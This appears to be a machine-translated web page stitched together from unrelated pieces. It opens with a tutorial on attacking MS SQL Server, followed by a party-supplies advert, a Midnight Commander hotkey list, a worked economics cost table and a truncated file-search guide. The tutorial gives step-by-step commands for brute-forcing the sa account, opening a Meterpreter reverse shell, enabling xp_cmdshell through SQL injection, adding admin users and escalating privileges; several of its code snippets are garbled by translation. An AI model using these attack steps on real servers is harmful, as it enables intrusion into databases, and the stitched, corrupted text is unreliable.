Metode i sredstva hakovanja MS SQL baza podataka. Zašto odabrati MF Search?

Gotovo nijedan ozbiljan pentest nije potpun bez provjere DBMS-a, jer je ovo jedna od najpopularnijih vrata do željenih informacija i mašine među napadačima. U velikim projektima MS se često koristi kao DBMS SQL Server. A danas ćemo razgovarati o provjeri njegove sigurnosti. Ameriku nećemo otkriti – iskusni drugovi će samo osvježiti svoje znanje, ali za one koji tek počinju da savladavaju temu, pokušao sam što detaljnije sve razložiti tačku po tačku.

UPOZORENJE!

Sve informacije su date samo u informativne svrhe. Ni autor ni uredništvo nisu odgovorni za bilo kakvu moguću štetu uzrokovanu materijalima ovog članka.

Uvod

Jedan od najvažnijih kriterijuma pouzdanosti informacioni sistem- DBMS sigurnost. Napadi usmjereni na njega su u većini slučajeva kritični, jer mogu djelomično ili potpuno poremetiti rad sistema. Budući da su velike organizacije davno formirale svoju infrastrukturu i ažuriranje na nove verzije softvera im stvara “velike” probleme, najčešće verzije su i dalje MS SQL Server 2005 i MS SQL Server 2008. Ali to su samo statistike, a dalje ćemo razmotriti vektore i tehnike zajedničke za sve verzije. Radi praktičnosti, uvjetno ćemo podijeliti cijeli pentest proces u nekoliko faza.

Kako pronaći MS SQL

Prva stvar koju pentester počinje da radi je prikupljanje informacija o uslugama koje se nalaze na serveru žrtve. Najvažnija stvar koju trebate znati da biste tražili Microsoft SQL Server su brojevi portova na kojima on sluša. I sluša portove 1433 (TCP) i 1434 (UDP). Da biste provjerili da li je MS SQL prisutan na serveru žrtve, potrebno ga je skenirati. Da biste to učinili, možete koristiti Nmap sa ms-sql-info skriptom. Skeniranje će započeti otprilike ovako:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Pa, rezultat njegovog izvršenja je prikazan na Sl. 1.

Pored Nmap-a, postoji odličan modul za skeniranje za Metasploit mssql_ping, koji vam takođe omogućava da utvrdite prisustvo MS SQL-a na napadnutom serveru:

Msf> koristi pomoćni/skener/mssql/mssql_ping msf auxilary(mssql_ping) > postavi RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > pokreni

Koristeći jednu od ovih opcija, možete brzo utvrditi da li je MS SQL instaliran na serveru, kao i saznati njegovu verziju. Nakon toga možete preći na sljedeću fazu.


Brute force

Recimo da smo pronašli DBMS na serveru. Sada je zadatak dobiti pristup njemu. I tu smo suočeni sa prvom preprekom u vidu autentifikacije. Općenito, MS SQL podržava dvije vrste autentifikacije:

  1. Windows autentifikacija je pouzdana veza u kojoj SQL Server prihvata korisnički nalog, pod pretpostavkom da je već verifikovan na operativni sistem.
  2. Mješoviti način - autentifikacija pomoću SQL Servera + Windows autentikacija.

Podrazumevano se koristi prvi način provjere autentičnosti, a mješoviti način se aktivira zasebno. U praksi je prilično teško pronaći bazu bez mješovitog načina rada - fleksibilniji je.

Neke prednosti mješovitog načina rada

  • Omogućava SQL Serveru da podržava starije aplikacije, kao i aplikacije trećih strana koje zahtijevaju SQL Server autentifikaciju.
  • Dozvoljava SQL Serveru da podržava okruženja sa više operativnih sistema u kojima korisnici nisu provjereni Windows domenom.
  • Dozvoljava programerima softver distribuirajte svoje aplikacije koristeći složenu hijerarhiju dozvola zasnovanu na poznatim, unaprijed utvrđenim imenima SQL prijava Server.

Obično u ovoj fazi nemamo pristup korporativna mreža, stoga ne možemo koristiti autentifikaciju preko Windowsa. Ali našli smo otvoreni port sa MS SQL-om, što znači da pokušavamo grubo forsirati sa administratorski račun, što je standardno za mješoviti način rada. Za automatizaciju procesa koristimo Metasploit modul mssql_login:

Msf > koristi pomoćni/skener/mssql/mssql_login msf auxiliary(mssql_login) > postavi RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login.2 pas Desktop PASS_login.2 Desktop) 04: 1433 - MSSQL - Pokretanje skenera za autentifikaciju. [*] 172.16.2.104:1433 - PRIJAVA NEUSPELA: RADNA STANICA\sa:admin (Netačno:) [*] 172.16.2.104:1433 - PRIJAVA NEUSPELA: RADNA STANICA\sa:qwerty (Netačno:) 2.04.6 - PRIJAVA NEUSPEŠNA: WORKSTATION\sa:toor (Netačno:) [+] 172.16.2.104:1433 - PRIJAVA USPJEŠNA: WORKSTATION\sa:root [*] Skeniran 1 od 1 hosta (100% kompletan) [*] Pomoćni kompletan modul exe

Odlično! Lozinka je pronađena, sada možemo prijeći na sljedeći korak. Ali šta ako na serveru nema sa naloga? Tada ćete morati brutirati prijavu, za što ćete morati naznačiti skripti drugu datoteku odakle će ih dobiti:

Msf auxiliary(mssql_login) > postavite USER_FILE /root/Desktop/user.txt

Uzimanje školjke

Ako smo uspjeli da resetujemo sa nalog, možemo se prijaviti u bazu podataka. Dalje, skripta je jednostavna - omogućavamo uskladištenu proceduru koja nam omogućava da izvršavamo komande na nivou operativnog sistema i otpremamo Meterpreter ljusku na server. Cool momci su napisali odličan modul za Metasploit, mssql_payload, koji automatizuje ovaj proces:

Msf > koristi exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > postavi RHOST 172.16.2.104 msf exploit(mssql_payload) > postavi USERNAME sa USERNAME => sa msf exploit(mssql_payload) to ( mssql_payload) > postavi PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > postavi LHOST 172.16.2.105 LHOST => 172.16.2.105 LHOST => 172.16.2.04 Stanje naredbe.0.10 /1022 46 bajtova ) [*] Meterpreter sesija 1 otvorena (172.16.2.105:4444 -> 172.16.2.104:3987) u 2015-02-20 10:42:52 -0500 meterpreter >

Sesija Meterpreter-a je kreirana, sada jeste pun pristup. Možete izbaciti admin hash, napraviti snimke ekrana, kreirati/brisati datoteke, omogućiti/onemogućiti miš ili tastaturu i još mnogo toga. Ovo je možda najpopularnija školjka koja se koristi u testovima penetracije. Cijela lista Komande Meterpretera se mogu vidjeti.

Šta učiniti ako se login/lozinka ne resetuje?

Ali nemojte sebi laskati, modul mssql_login vas neće često usrećiti: administratori vrlo rijetko ostavljaju lozinku kao zadanu. U ovom slučaju, SQL injekcija će nam pomoći da dobijemo ljusku. Zamislite HTML obrazac u koji korisnik unosi broj članka i jednostavan ranjivi upit bazi podataka, a sve to radi pod sa administratorskim računom:

$strSQL = "SELECT * FROM . WHERE id=$id";

Varijabla $id se ne filtrira ni na koji način, što znači da možete izvršiti SQL injekciju u kojoj će se svaki zahtjev izvršiti pod sa administratorskim računom. Da biste izvršili komande na nivou operativnog sistema, morate omogućiti uskladištenu proceduru xp_cmdshell, koja je podrazumevano onemogućena. Za aktivaciju ćemo morati poslati četiri zahtjeva:

  1. EXEC sp_configure "prikaži napredne opcije",1;
  2. rekonfigurirati;
  3. ‘exec sp_configure "xp_cmdshell",1;
  4. rekonfigurirati

Sistemska pohranjena procedura sp_configure omogućava vam da vidite, dokumentirate, promijenite i vratite konfiguraciju poslužitelja. Najlakši način da pristupite serveru je da omogućite RDP preko registra, kreirate korisnika sa administratorskim pravima i povežete se.

Omogući RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Kreirajte korisnika:

10; exec master.dbo.xp_cmdshell "net user root ili /ADD"

Dajemo prava:

10;exec master.dbo.xp_cmdshell "net localgroup administrators root/add"

Podizanje privilegija. POVERLJIVO

U prethodnom slučaju, zahtjev prema bazi podataka se dogodio u ime administratora, pa je stoga bilo tako lako izvršiti naredbe operativnog sistema. Ali šta ako imamo smanjeni nalog koji nema prava da omogući xp_cmdshell? U ovom slučaju će nam pomoći pohranjene procedure i aktivirano svojstvo TRUSTWORTHY baze podataka.

Ali počnimo od samog početka. Radi veće jasnoće ovog vektora, opisat ću cijelu fazu u fazi konfiguriranja baze podataka i računa. Mi stvaramo nova baza YOLO: KREIRANJE BAZE PODATAKA YOLO; . Kreirajte novog korisnika bob sa lozinkom marley: CREATE LOGIN bob WITH PASSWORD = "marley"; Dodjeljujemo korisnika bob kao vlasnika YOLO baze podataka:

KORISTI YOLO ALTER LOGIN sa default_database = ; CREATE USER FROM LOGIN ; EXEC sp_addrolemember , ;

Zatim postavljamo svojstvo TRUSTWORTHY, koje određuje da li da se dozvoli objektima ove baze podataka (pregledi, korisničke funkcije, pohranjene procedure) pristup objektima izvan ove baze podataka u načinu oponašanja: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Prijavite se na SQL Server koristeći bob:marley nalog.

Kreirajte pohranjenu proceduru za dodjelu račun bob sysadmin privilegije:

KORISTI YOLO GO KREIRAJ PROCEDURU sp_lvlup SA IZVRŠITE KAO VLASNIK KAO EXEC sp_addsrvrolemember "bob","sysadmin" GO

Uvjerimo se da nemamo sysadmin privilegije prije izvršavanja pohranjene procedure:

SELECT is_srvrolemember("sysadmin") rezultat = 0

Hajde da izvršimo pohranjenu proceduru sp_lvlup kreiranu iznad:

KORISTI YOLO EXEC sp_lvlup

I opet provjerimo naše privilegije:

SELECT is_srvrolemember("sysadmin") rezultat = 1

Procedura sp_lvlup je dizajnirana da se izvodi kao VLASNIK, što je u ovom slučaju sa administratorski nalog. Ovo je moguće jer je db_owner kreirao pohranjenu proceduru za svoju bazu podataka, a ova baza podataka je konfigurirana kao pouzdana, to jest, svojstvo TRUSTWORTHY je On. Bez ovog svojstva, postupak bi propao zbog nedostatka privilegija. Aktivirano POVJERENJE nije uvijek loša stvar. Problemi počinju kada administratori ne smanje privilegije vlasnika baze podataka. Kao rezultat toga, bob nalog je dobio sysadmin privilegije nakon izvršenja sp_lvlup procedure. Da vidite koje baze podataka imaju omogućeno svojstvo TRUSWORTHY, možete koristiti sljedeći upit:

SELECT ime, database_id, is_trustworthy_on FROM sys.databases

Ili da automatizirate cijeli proces, možete koristiti mssql_escalate_dbowner_sqli modul za Metasploit:

Koristite auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.1 Sucess! Bob je sada sistemski administrator!

Podizanje privilegija. Lažno predstavljanje korisnika

Sljedeći vektor se zove impersonacija korisnika. Ponekad pohranjene procedure trebaju pristup vanjskim resursima koji se nalaze izvan baze podataka aplikacije. Da bi to postigli, programeri koriste privilegiju IMPERSONATE i funkciju EXECUTE AS, koja omogućava da se zahtjev izvrši kao drugi nalog. Ovo nije ranjivost sama po sebi, već slaba konfiguracija koja vodi do eskalacije privilegija.

Kao u prethodnom primjeru, počet ćemo razumijevati suštinu vektora u fazi konfiguracije. Prije svega kreiramo četiri naloga:

CREATE LOGIN User1 WITH PASSWORD = "tajna"; CREATE LOGIN User2 WITH PASSWORD = "tajna"; CREATE LOGIN User3 WITH PASSWORD = "tajna"; CREATE LOGIN User4 WITH PASSWORD = "tajna";

Zatim dajemo korisniku User1 privilegije da izvršava zahtjeve u ime sa , User2 , User3:

USE master; GRANT IMPERSONATE PRI LOGIN::sa to ; GRANT IMPERSONATE PRI LOGIN::MyUser2 za ; GRANT IMPERSONATE PRI LOGIN::MyUser3 za ; GO

Prijavite se na SQL Server pod User1 nalogom i proverite da li su primenjene privilegije za izvršavanje upita sa drugih naloga.

ODABERITE različito b.name IZ sys.server_permissions a INNER JOIN sys.server_principals b NA a.grantor_principal_id = b.principal_id GDJE a.permission_name = "IMPERSONATE"

Sada provjerimo trenutne privilegije:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 0

Pa, sada sam trik - izvršimo zahtjev u ime sa, pošto smo gore dali privilegije User1 nalogu da izvršava zahtjeve u ime sa:

EXECUTE AS LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 1

Sve je u redu, sada možemo izvršavati komande kao sa , što znači da možemo omogućiti pohranjenu proceduru xp_cmdshell:

EXEC sp_configure "prikaži napredne opcije",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 RECONFIGURE GO

INFO

Zadani sysadmin nalog može pokretati upite u ime bilo kojeg drugog korisnika. Sljedeći upit će vam pomoći da prikažete tabelu sa svim korisnicima: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Da pokrenete zahtjev u ime drugog naloga, koristite EXECUTE AS LOGIN = "AnyUser" . Da biste se vratili na prethodni račun, samo pokrenite upit REVERT.

To je trik. Za automatizaciju, kao i obično, možete koristiti Metasploit modul mssql_escalete_executeas_sqli:

Koristite auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- eksploatacija ... [+] 20.16.16:8. User1 je sada sistemski administrator!

Podizanje privilegija. Pohranjene procedure potpisane certifikatom

Da bismo opisali ovaj vektor, kreirat ćemo ranjivu pohranjenu proceduru potpisanu certifikatom. Za razliku od prethodnih primjera, eskalacija privilegija ne zahtijeva:

  • svojstvo TRUSWORTHY = Uključeno;
  • IMPERSONATE privilegije i EXECUTE AS funkcija;
  • Konfiguriranje pohranjene procedure s klasom WITH EXECUTE AS da se izvrši kao drugi račun.

Kreirajmo nalog sa minimalnim pravima:

CREATE LOGIN tor WITH PASSWORD = "loki"; GO -- Postavite zadanu bazu podataka za prijavu ALTER LOGIN sa default_database = ; GO

Isključimo svojstvo TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF. I napravimo jednostavnu pohranjenu proceduru sp_xxx koja će prikazati stupac imena iz tempdb baze podataka, kao i iz baze podataka koju je unio korisnik:

USE MASTER; IDI KREIRAJ PROCEDURE sp_xxx @DbName varchar(max) KAO POČETAK Deklariraj @query kao varchar(max) SET @query = "IZABERI ime IZ master..sysdatabases gdje je ime poput ""%"+ @DbName+"%"" ILI ime=" "tempdb"""; EXECUTE(@query) END GO

Nakon ovoga ćemo kreirati ključ za šifriranje za MASTER bazu podataka:

CREATE MASTER KEY ENCRYPATION BY PASSWORD = "tajna"; GO

I sertifikat:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "Da potpišem sp_xxx", EXPIRY_DATE = "2035-01-01"; GO

Sljedeći korak je kreiranje prijave iz sp_xxx certifikata:

NAPRAVI PRIJAVU sp_xxx_login IZ CERTIFIKATA sp_xxx_cert

I potpišite proceduru kreiranim certifikatom:

DODAJ POTPIS u sp_xxx POTVERČENJEM sp_xxx_cert; GO

Dodijelimo sp_lvlup2 sysadmin privilegije za prijavu:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Dajemo privilegije članovima JAVNE grupe da obave proceduru:

GRANT EXECUTE ON sp_xxx za JAVNOST

Kao rezultat, kreirali smo tor korisnika sa minimalnim pravima, pohranjenu proceduru sp_xxx koja prikazuje naziv unesene baze podataka, kreirali certifikat sp_xxx_cert i njime potpisali pohranjenu proceduru, a također kreirali login sp_xxx_login od certifikata i dali ga sysadmin privilegije. Ovim je završen pripremni dio. Prijavite se sa svojim tor nalogom i pozovite pohranjenu proceduru:

EXEC MASTER.dbo.sp_xxx "master"

Kao što se i očekivalo, vratiće nam ime baze podataka koju smo naveli - master i tempdb (vidi sliku 3).

Rice. 3. Rezultat izvršavanja zahtjeva EXEC MASTER.dbo.sp_xxx "master"

Upit kao što je EXEC MASTER.dbo.sp_sqli2 "master""--" će vratiti samo master (vidi sliku 4).

Fig.4. Rezultat EXEC zahtjeva MASTER.dbo.xxx "master""--"

Odlično. To znači da je pohranjena procedura podložna SQL injekciji. Provjerimo naše privilegije pomoću sljedećeg upita:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolember(""sysadmin"")as priv_certsp--";

priv_cersp=1 (vidi sliku 5) znači da imamo privilegije sysadmina. Izvršite naredbu EXEC master..xp_cmdshell "whoami"; Neće raditi jer tor nalog ima minimalna prava, ali ako je ovaj upit ugrađen u SQL injekciju, onda će sve raditi (slika 6).

Ono što je najzanimljivije je da će ovaj trik raditi u verzijama 2005–2014.

Zaključak

Razlika u svim ovim vektorima je prilično značajna. U nekim slučajevima, da biste postigli cilj, možete se ograničiti na uključeno svojstvo TRUSTWORTHY, koje omogućava korištenje resursa ove baze podataka od strane objekata koji se nalaze izvan kako bi kreirali i izvršili pohranjenu proceduru koja eskalira privilegije. U nekim slučajevima možete izvršiti pohranjene procedure u ime drugih naloga zahvaljujući privilegijama IMPERSONATE i funkciji EXECUTE AS, au trećim slučajevima važno je samo prisustvo SQL injekcije putem koje možete ubaciti upit, a on će se izvršiti u ime drugog računa. Da biste u potpunosti razumjeli nijanse i suptilnosti, savjetovao bih da testirate ove vektore na vašoj lokalnoj mašini.

Članak ne daje iscrpan opis svih vektora napada na MS SQL DBMS, ali će biti vrlo koristan za površnu analizu sigurnosti. Takođe preporučujem da se upoznate sa drugim vektorom hakovanja putem DB veza, koji je opisao Alexey Tyurin u decembarskom izdanju ][ (#191) u odjeljku Easy Hack. To je sve, hvala na pažnji i vidimo se ponovo.

Organizovanje odmora je težak zadatak. Ima toliko stvari o kojima treba razmišljati i voditi računa. Firma MF Search pojednostavljuje jedan od zadataka - dekoraciju. Sakupili smo katalog robe za odmor, koji sadrži razne dekoracije prostorija i male predmete korisne za proslave.

Katalog robe za praznike: izrada liste za kupovinu

Katalog MF Search se može nazvati gotova lista za kupovinu. Ima zgodnu i detaljnu strukturu. Kod nas možete kupiti:

  • Pribor za vjenčanje. Trake, konfete, brave, dekor za hodnik i auto i još mnogo toga.
  • Sve za karneval. U ovom odeljku ćete pronaći pribor neophodan za kostimiranu zabavu, novogodišnji karneval, Noć veštica, tematsku rođendansku zabavu itd.
  • Posuđe za jednokratnu upotrebu. Stol nije uvijek postavljen porculanom i keramikom. Na primjer, za postavljanje dječjeg stola ili za proslavu rođendana u uredu, prikladnije je koristiti papirne tanjure i čaše.
  • Igračke za zabavu i mjehurići od sapunice. Kako djeci ne bi dosadilo na odmoru, potrebno je unaprijed voditi računa o njihovom slobodnom vremenu. Imaš sreće! Prikupili smo sve potrebne potrepštine, sve što treba da uradite je da mu nađete namenu.
  • Petarde i svjećice. Oni će praznik učiniti svetlim i nezaboravnim.
  • Svijeće. Ukrasite tortu, provedite romantično veče, napravite iznenađenje - za svaku priliku postoji set svijeća.

Baloni iz "MF Poisk"

MF Poisk je najveći dobavljač balona. Sarađujemo sa proizvođačima iz SAD, Španije i Meksika. Dajemo sertifikate kvaliteta i pružamo najkompletniji asortiman balona, ​​tako da možete kreirati svoju jedinstvenu kompoziciju za svaki događaj. Sve balone u našem katalogu možemo podijeliti na lateks i foliju.

  • Latex. Mogu se birati ovisno o boji, veličini, obliku, temi. Bavimo se prodajom balona sa i bez šare, a pružamo i uslugu nanošenja logotipa. Osim klasičnih opcija, nudimo i neobične - udarne lopte, loptice za povezivanje, figurirane lopte i za modeliranje.
  • Folija. Ima i mnogo toga za izabrati: hodanje, velike, mini i u obliku brojeva. Radi lakšeg odabira, sortirali smo proizvode po temama, lako možete otići u odjeljak sa proizvodima za vjenčanja, rođendane, nove godine i druge posebne događaje.

Odvojeno smo postavili dodatke za lopte, na primjer, štapove ili utege. Dizajnere će zanimati deo sa opremom - cilindri sa helijem, pumpe, štamparska boja.

Zašto biste odabrali MF Search?

  • Većina veliki katalog lopte.
  • Certifikati kvaliteta su javno dostupni.
  • Minimalni iznos narudžbe dostupan je svakom kupcu, bez obzira na veličinu događaja.
  • Sve potrepštine za odmor na jednom mestu.
  • Popusti za veliku veleprodaju.

Trudimo se da vaš boravak na stranici bude ugodan, pa smo kreirali odvojene rubrike sa novim proizvodima, najprodavanijima, kao i najavama „Uskoro“. Kod nas ćete se uvjeriti da je organizacija zabave jednostavna!

Generale

Ctrl+x,j — Prikaži pozadinske zadatke

Ctrl-X+A - trenutni VFS (ftp, itd.)

ESC+cifra - isto kao i F(cifra) (ESC+5 = F5)

F1-F12

F3 - Pregledajte datoteku

F3 - (Tokom uređivanja) Pokreni odabir teksta. Ponovnim pritiskom na F3 završava se odabir

F4 - Uređivanje datoteka

F5 - Kopiraj odabir

F6 - Pomjeri odabir

F8 - Brisanje odabira

Shift+F1 - otvara meni za brzi prelaz između tačaka montiranja na lijevoj ploči

Shift+F2 - otvara meni za brzi prelaz između tačaka montiranja na desnoj ploči

Shift+F5 - kopirajte datoteku u isti direktorij

Shift+F6 - premjestiti/preimenovati datoteku u isti direktorij

Traži

ctrl-s — Brzo potražite datoteku ili direktorij

alt-shift-? — Poziva meni napredne pretrage datoteka

Komandna linija

ctrl-a — kursor na početak

ctrl-e - kursor do kraja

esc-! — izvršiti naredbu s parametrima

ctrl-x, p ili alt+a - zalijepi ime direktorija

esc, enter; ctrl-enter - poslati trenutni objekat na komandna linija

ctrl-x,t — Zalijepite sve odabrane objekte u komandnu liniju

esc, tab - dodavanje komande

alt-a - zalijepite trenutni direktorij u komandnu liniju

Alt-TAB (ESC+TAB) - Najbolja kombinacija za traženje preuzetih datoteka (na primjer, zaboravili ste kako se pravilno piše: netcfg ili netconfig. Samo upišite net u komandnu liniju i pritisnite Alt-TAB - odmah će se prikazati ti ono što možeš pokrenuti, što počinje riječima net) pritisnite dvaput!
alt-shift-! — izlaz rezultata naredbe
ctrl-shift-v - zalijepi iz međuspremnika

Operacije datoteka

Shift+F4 - Kreira novu datoteku

shift-f6 - preimenuj datoteku

Ctrl+x,i — Brzo pregledajte informacije o trenutnom objektu na drugom panelu

Ctrl+x,q - Brzo pregledajte sadržaj datoteke na drugom panelu

alt-. - prikaži skrivene fajlove

ctrl-x, c - dozvole datoteke

ctrl-x, o - vlasnik datoteke

Shift-F3 - pogledajte fajl (raw/bez ekstenzije)

Ctrl + x v - kreirajte relativnu simboličku vezu

trl+x,Ctrl+s — Uredite simboličku vezu

ctrl-t — označite datoteku ili je poništite

+ — izaberite (označite) grupu datoteka regularnim izrazom

\ - poništite izbor grupe datoteka

ctrl-x, ctrl-d - uporedite datoteke

ctrl-t ili Insert — Izaberite trenutni objekat

Rad sa katalozima

alt-o — otvorite direktorij ispod kursora na susjednom panelu

alt-i — otvori trenutni direktorij u susjednom panelu

ctrl-\ - prikaži “Directory directory”

alt-shift-h — Prikaz istorije direktorijuma

Ctrl+l - Ponovno iscrtavanje ekrana

Ctrl+Space - Prikaži veličinu trenutnog direktorija

Ctrl-X+D - uporedi direktorije

ESC+C - brza promjena direktorija

alt-c - Prozor “Brza promjena direktorija”.

Rad sa panelima

Ctrl-O - isključite panele i pogledajte što je ispod njih (radi SAMO u Linuxu!) Ovdje možete raditi i u ljusci.

alt-, — Prebacite način prikaza na panelu (vertikalno/horizontalno)

alt-t prebacuje način prikaza detaljnog panela

Meta+c - Poziva meni za brzu promenu trenutnog direktorijuma na aktivnom panelu

ctrl-u - zamjena panela

alt-g - označava prvu datoteku ili direktorij na prikazanoj listi na panelu (u suštini kao tipka Home, pomiče kursor prema gore)

alt-e — promijeniti kodiranje panela

Ctrl + x i - prebacuje pasivni panel u način rada „Informacije“.

Ctrl + x q - stavlja pasivni panel u režim brzog pregleda

ctrl-x ! — meni → “Kriterijum panelizacije” (git)

Priča

alt+h; esc, h - istorija komandne linije

alt-p, alt-n - vraćanje prethodne (sljedeće) komandne linije

alt-y. Prelazak na prethodni direktorij iz povijesti navigacije direktorija; je ekvivalentno klikanju miša na simbol ‘<‘ в верхнем углу панели.

alt-u. Prelazak na sljedeći direktorij iz povijesti navigacije direktorija; je ekvivalentno klikanju na simbol '>' mišem.

Urednik

F4 (u editoru) - pretraži i zamijeni

F6 (u editoru) - pretraživanje pomoću regularnog izraza

Shift-Del (u uređivaču) - izbrišite blok (i stavite ga u međuspremnik)

Shift-Ins (u editoru) - ubacite blok iz bafera (radi čak i na drugoj konzoli!!!) Možete uređivati ​​dva ili više fajlova na različitim konzolama i premještati blokove između njih.

Shift+F3 - Počnite birati blok teksta. Ponovnim pritiskom na F3 završava se odabir

Shift+F5 - Zalijepite tekst iz internog međuspremnika mc-a (čitajte vanjski fajl)

Meta+i - Prebacuje način rada „Automatsko poravnavanje s vraćanjem nosača“, što je pogodno za lijepljenje formatiranog teksta iz međuspremnika

Meta+l — Idite na red prema broju

Meta+q - Ubacite literal (znak koji se ne štampa). tabela ispod

Meta+t — Sortiranje redova odabranog teksta

Meta+u - Izvršite eksternu komandu i ubacite njen izlaz na poziciju ispod kursora

Ctrl+f — Zapišite odabrani fragment u interni mc međuspremnik (upišite u vanjski fajl)

Ctrl+k - Brisanje dijela reda do kraja reda

Ctrl+n - Kreirajte novu datoteku

Ctrl+s — Uključite ili isključite isticanje sintakse

Ctrl+t — Odaberite kodiranje teksta

Ctrl+u - Poništi radnje

Ctrl+x - Idite na kraj sljedećeg

Ctrl+y - Brisanje linije

Ctrl+z - Idi na početak prethodne riječi

Meta+Enter — Dijalog za odlazak na definiciju funkcije

Meta+- - Povratak nakon odlaska na definiciju funkcije

Meta++ - Prelazak naprijed na definiciju funkcije

Meta+n — Omogućite/onemogućite prikaz brojeva linija

tab Pomera odabrani tekst udesno ako je opcija „Trajni blokovi“ isključena

Meta-kartica Pomiče odabrani tekst ulijevo ako je opcija "Trajni blokovi" isključena

Shift+strelice Odaberite tekst

Meta+strelice Odaberite vertikalni blok

Meta+Shift+ - Prebacite način prikaza kartica i razmaka

Meta+Shift++ Prebacivanje režima “Auto-align by carriage return”.

U tabeli je prikazana zavisnost ukupnih troškova preduzeća od proizvodnje proizvoda. Izračunajte troškove: fiksne, varijabilne, prosječne ukupne, prosječne fiksne, prosječne varijabilne. U tabeli popunite kolone FC, VC, MC, ATC, AFC, AVC:

Ukupni troškovi, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Rješenje:

Fiksni troškovi ( Fiksni troškovi) su oni troškovi koji ne zavise od količine proizvedenih proizvoda ili usluga. Bez obzira koliko kompanija proizvodi, njeni fiksni troškovi se ne mijenjaju. Čak i ako preduzeće nije proizvelo niti jednu jedinicu proizvoda, snosi troškove, na primjer, zakup prostora, naknade za grijanje, naknade za kredit itd.

Dakle, FC za bilo koji volumen proizvodnje će biti jednak 60 rubalja.

Varijabilni troškovi ( Varijabilni troškovi) su troškovi koji se mijenjaju kada se promijeni obim proizvoda ili usluga. Zbirno sa fiksnim troškovima oni su jednaki vrijednosti ukupnih troškova ( Ukupni troškovi):

TC = FC + VC.

odavde:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

Marginalni trošak ( Marginalni troškovi) je povećanje troškova povezano s proizvodnjom dodatne jedinice proizvoda.

MC = ΔTC / ΔQ

Budući da je u ovom zadatku povećanje proizvodnje uvijek jednako 1, ovu formulu možemo prepisati na sljedeći način:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Prosječni ukupni troškovi ( Prosječni ukupni troškovi) je trošak proizvodnje jedne jedinice proizvoda.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

Prosječni fiksni troškovi ( Prosječni fiksni troškovi) su fiksni troškovi po jedinici proizvodnje.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Prosječni varijabilni troškovi ( Prosječni varijabilni troškovi) su varijabilni troškovi proizvodnje jedne jedinice proizvodnje.

AVC = VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

Poznavajući ATC i AFC, prosječni varijabilni troškovi se također mogu naći kao razlika između prosječnih ukupnih i prosječnih fiksnih troškova:

AVC = ATC - AFC

Hajde da popunimo praznine u tabeli:

Izlaz u jedinici vremena, Q, kom.Ukupni troškovi, TC, rub.F.C.V.C.M.C.ATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Kada koristite gotove softverskih proizvoda, Na primjer CMS Joomla, često se morate suočiti s činjenicom da se u rezultatima programa pojavljuje neka poruka o grešci ili upozorenje, ali ne detaljne informacije, gdje se nalazi ovaj dio koda. U ovim slučajevima, najlakši način je da potražite datoteku u njoj Ponoćni komandant po liniji. Pogledajmo kako to učiniti.

Obično znate približnu lokaciju datoteke sa potrebnim fragmentom koda. Stoga, prije svega, idemo u direktorij u kojem se ova datoteka može nalaziti.

IN kontekstni meni u polju" Počnite na:» ( Iz kataloga ) ostavimo poentu: već smo u očekivanom direktoriju koji sadrži datoteku koju tražimo. Ali odabirom opcije " T ree" ( D drvo), možete odabrati drugi direktorij za pretraživanje.

Kontekst polje "Ena" b ignoriraj direktorije" ( I ignorirati direktorije) možete ostaviti praznim ako ne želite da isključite poznate direktorije iz pretraživanja kako biste suzili područje pretraživanja.

na terenu" Ime datoteke» ( Šablon imena ) morate unijeti naziv datoteke ili šablon za njeno ime. Šablon koristi ? za bilo koji lik ili * za bilo koji broj bilo kojih znakova. Ako ne znamo ništa o nazivu datoteke ili ekstenziji, slobodno unesite *.* .

Po želji odaberite:

  • « F ind rekurzivno" ( Pronađite re To urzivno)
